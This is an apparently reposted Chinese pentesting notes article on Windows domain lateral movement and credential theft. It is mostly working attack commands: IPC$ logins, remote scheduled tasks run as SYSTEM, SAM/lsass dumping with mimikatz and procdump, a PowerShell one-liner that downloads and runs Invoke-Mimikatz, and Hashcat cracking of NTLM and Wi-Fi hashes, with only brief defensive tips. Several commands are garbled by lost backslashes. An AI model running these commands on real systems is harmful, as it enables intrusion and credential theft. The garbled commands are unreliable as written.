内网(笔记)-域内横向移动

admin 2024年10月20日01:09:41评论81 views字数 4706阅读15分41秒阅读模式

1、概述

本篇文章继续记录内网渗透方面域内横向移动技术。

2、内容

2.1 常用Windows远程连接和相关命令

拿到目标计算机的用户明文密码或者NTLM Hash后,可通过PTH(pass the hash 凭据传递)的方法,将散列值或明文密码传送到目标机器进行验证。

IPC

IPC共享“命名管道“的资源,实现进程之间通信开放的命名管道,IPC可通过验证用户名和密码获得相应的权限,常用于远程管理计算机和查看计算机的共享资源时使用。通过IPC$与目标机器建立连接。

创建IPC$完成后,使用net use 查看,创建命令如下:

net use \192.168.127.130ipc$ "1" /user:testuser192.168.127.130:目标机器IP地址1:目标机器密码testuser:目标机器密码

ipc$利用条件:

开启139、445端口管理员开启了默认共享

内网(笔记)-域内横向移动

使用Windows自带工具获取远程主机信息

dir命令

使用dir可列出远程主机中的文件

dir \192.168.127.130c$

内网(笔记)-域内横向移动

tasklist命令

查看远程主机上运行的进程

tasklist /S 192.168.127.130 /U testuser /P 1

内网(笔记)-域内横向移动

计划任务

at命令

此命令创建计划任务,主要工作在Windows Server 2008之前。

内网(笔记)-域内横向移动

查看目标系统时间

net time \192.168.127.130

内网(笔记)-域内横向移动

将文件复制到目标系统

copy sahx.bat \192.168.127.130c$

内网(笔记)-域内横向移动

使用at创建计划任务

at \192.168.127.130 5:20PM C:sahx.bat 

清除at命令

at \192.168.127.130 7 /delete

执行命令写入文件

at \192.168.127.130 5:20PM cmd.exe /c "ipconfig > C:sahx.txt"

然后读取文件

type \192.168.127.130C$sahx.txt

schtasks命令

schtasks /create /s 192.168.127.130 /tn sahx /sc onstart /tr c:sahx.bat /ru system /f

该命令创建sahx计划任务,在开机时启动,启动程序c盘下的sahx.bat,启动权限system

执行计划任务

schtasks /run /s 192.168.127.130 /i /tn "sahx"

删除计划任务

schtasks /delete /s 192.168.127.130  /tn "sahx" /f

删除ipc$

net use \192.168.127.130ipc$ /del /y

内网(笔记)-域内横向移动

2.2 Windows系统散列值获取

LM Hash和NTLM Hash

在域环境中用户信息存储在ntds.dit中,加密后为散列值

Hash结果如下:

username:RID:LM-HASH:NT-HASH

个人版从vista以后,服务器从win server2003以后均为NTLM Hash。

单机密码抓取

想要在win操作系统中抓取散列值或者明文密码,必须提升权限至system,可使用工具将散列值和明文密码从内存中lsass.exe进程或SAM(C:Windowssystem32config)文件中导出。

GetPass工具

下载地址:https://bbs.pediy.com/thread-163383.htm

使用虚拟机运行,不知道啥情况密码没出来。

内网(笔记)-域内横向移动

PwDump

下载地址:https://www.openwall.com/passwords/windows-pwdump

内网(笔记)-域内横向移动

获取系统中NTLM Hash,可通过彩虹表破解散列值或者hash传递进行横向渗透。

QuarksPwDump

下载地址:https://raw.githubusercontent.com/tuthimi/quarkspwdump/master/Release/QuarksPwDump.exe觉得不安全的可自己下载源码编译:https://github.com/quarkslab/quarkspwdump

使用命令导出用户NTLM Hash

QuarksPwDump.exe --dump-hash-local

内网(笔记)-域内横向移动

此工具会被很多杀软标记。

通过SAM和System文件抓取密码

导出SAM和System文件

无工具导出

reg save hklmsam sam.hivereg save hklmsystem system.hive

内网(笔记)-域内横向移动

通过读取SAM和System文件获得NTLM Hash

使用mimikatz读取

下载地址:https://github.com/gentilkiwi/mimikatz/releases

将导出文件放在mimikatz同一目录。

内网(笔记)-域内横向移动

然后读取文件

lsadump::sam /sam:sam.hive /system:system.hive

内网(笔记)-域内横向移动

使用mimikatz直接读取本地SAM,导出Hash

privilege::debug  #提升权限token::elevate 将权限提升至systemlsadump::sam  读取本地SAM文件,获得NTLM Hash

内网(笔记)-域内横向移动

使用mimikatz在线读取SAM文件

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

内网(笔记)-域内横向移动

使用mimikatz离线读取lsass.dmp文件

打开任务管理器导出lsass.dmp文件

内网(笔记)-域内横向移动

使用Procdump导出lsass.dmp文件,此工具为微软官方工具,一般杀软不会报毒

下载地址:https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdumplinux版本:https://github.com/Sysinternals/ProcDump-for-Linux/releases

命令如下:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

内网(笔记)-域内横向移动

使用mimikatz导出lsass.dmp文件中的密码散列值

sekurlsa::minidump lsass.DMP 加载lsass.dmp文件sekurlsa::logonPasswords full 导出密码散列值

内网(笔记)-域内横向移动

使用powershell对散列值进行Dump操作

Nishang的Get-PassHashes.ps1导出散列值

Get-ExecutionPolicy 获取当前执行策略Get-ExecutionPolicy -List 获取影响当前会话的所有执行策略

内网(笔记)-域内横向移动

Set-ExecutionPolicy RemoteSigned -Scope CurrentUser 修改执行策略允许调用本地脚本运行Import-Module .Get-PassHashes.ps1  导入执行脚本Get-PassHashes 导出散列值

内网(笔记)-域内横向移动

使用powershell远程加载mimikatz抓取散列值和明文密码

powershell.exe IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

单机密码抓取防御

查看注册表项Wdigest

使用reg add命令

开启Wdigest auth命令如下:

reg add HKLMSYSTEMCurrentControlSetControlSecruityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

关闭Wdigest auth命令

reg add HKLMSYSTEMCurrentControlSetControlSecruityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

使用powershell

开启Wdigest auth

Set-ItemProperty -Path HKLM:SYSTEMCurrentControlSetControlSecruityProvidersWDigest -Name UseLogonCredential -Type DWORD -Value 1

关闭Wdigest auth

Set-ItemProperty -Path HKLM:SYSTEMCurrentControlSetControlSecruityProvidersWDigest -Name UseLogonCredential -Type DWORD -Value 0

使用Hashcat获取密码

HashCat主要分为三个版本:Hashcat、oclHashcat-plus、oclHashcat-lite。这三个版本的主要区别是:HashCat只支持CPU破解。oclHashcat-plus支持使用GPU破解多个HASH,并且支持的算法高达77种。oclHashcat-lite只支持使用GPU对单个HASH进行破解,支持的HASH种类仅有32种,但是对算法进行了优化,可以达到GPU破解的最高速度。

安装hashcat

git clone https://github.com/hashcat/hashcat.gitmakemake install

Hashcat使用方法

hashcat -b  测试当前机器进行破解的基准速度hashcat -m 指定散列值类型

散列值类型可查看:

https://hashcat.net/wiki/doku.php?id=example_hashes

内网(笔记)-域内横向移动

-a number 指定破解模式0 = Straight 字典破解1 = Combination 组合破解2 = Toggle-Case 3 = Brute-force 掩码暴力破解4 = Permutation 组合破解5 = Table-Lookup

常用命令

hashcat -a 0 -m xx <hashfile> <zidina1> <zidina2> -a 0 字典破解-m xx 指定hashfile内的散列值类型<zidina1> <zidina2> 指定字典破解windows散列值hashcat -m 1000 -a 0 -o winpassok.txt win.hash password.list --username破解Wi-Fi握手包,先使用aircrack-ng把cap格式转换为hccap格式aircrack-ng <out.cap> -J <out.hccap>hashcat -m 2500 out.hccap dics.txt-m 2500 指散列值类型为WPA/PSK

在线破解网站

http://www.xmd5.com/https://www.cmd5.com/

攻击者抓取明文密码和散列值防御措施

设置Active Directory 2012 R2功能级别安装KB2871997通过修改注册表禁止在内存中存储明文密码mimikatz防御,将Debug权限的本地管理员从Administrator组中删除。

免责声明:

本公众号漏洞复现文章,SRC、渗透测试等文章,仅供学习参考,请勿用于实战!!有授权情况下除外!!由于传播、利用本公众号文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责

内网(笔记)-域内横向移动

原文始发于微信公众号(sahx安全从业记):内网(笔记)-域内横向移动

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月20日01:09:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网(笔记)-域内横向移动http://cn-sec.com/archives/1864976.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息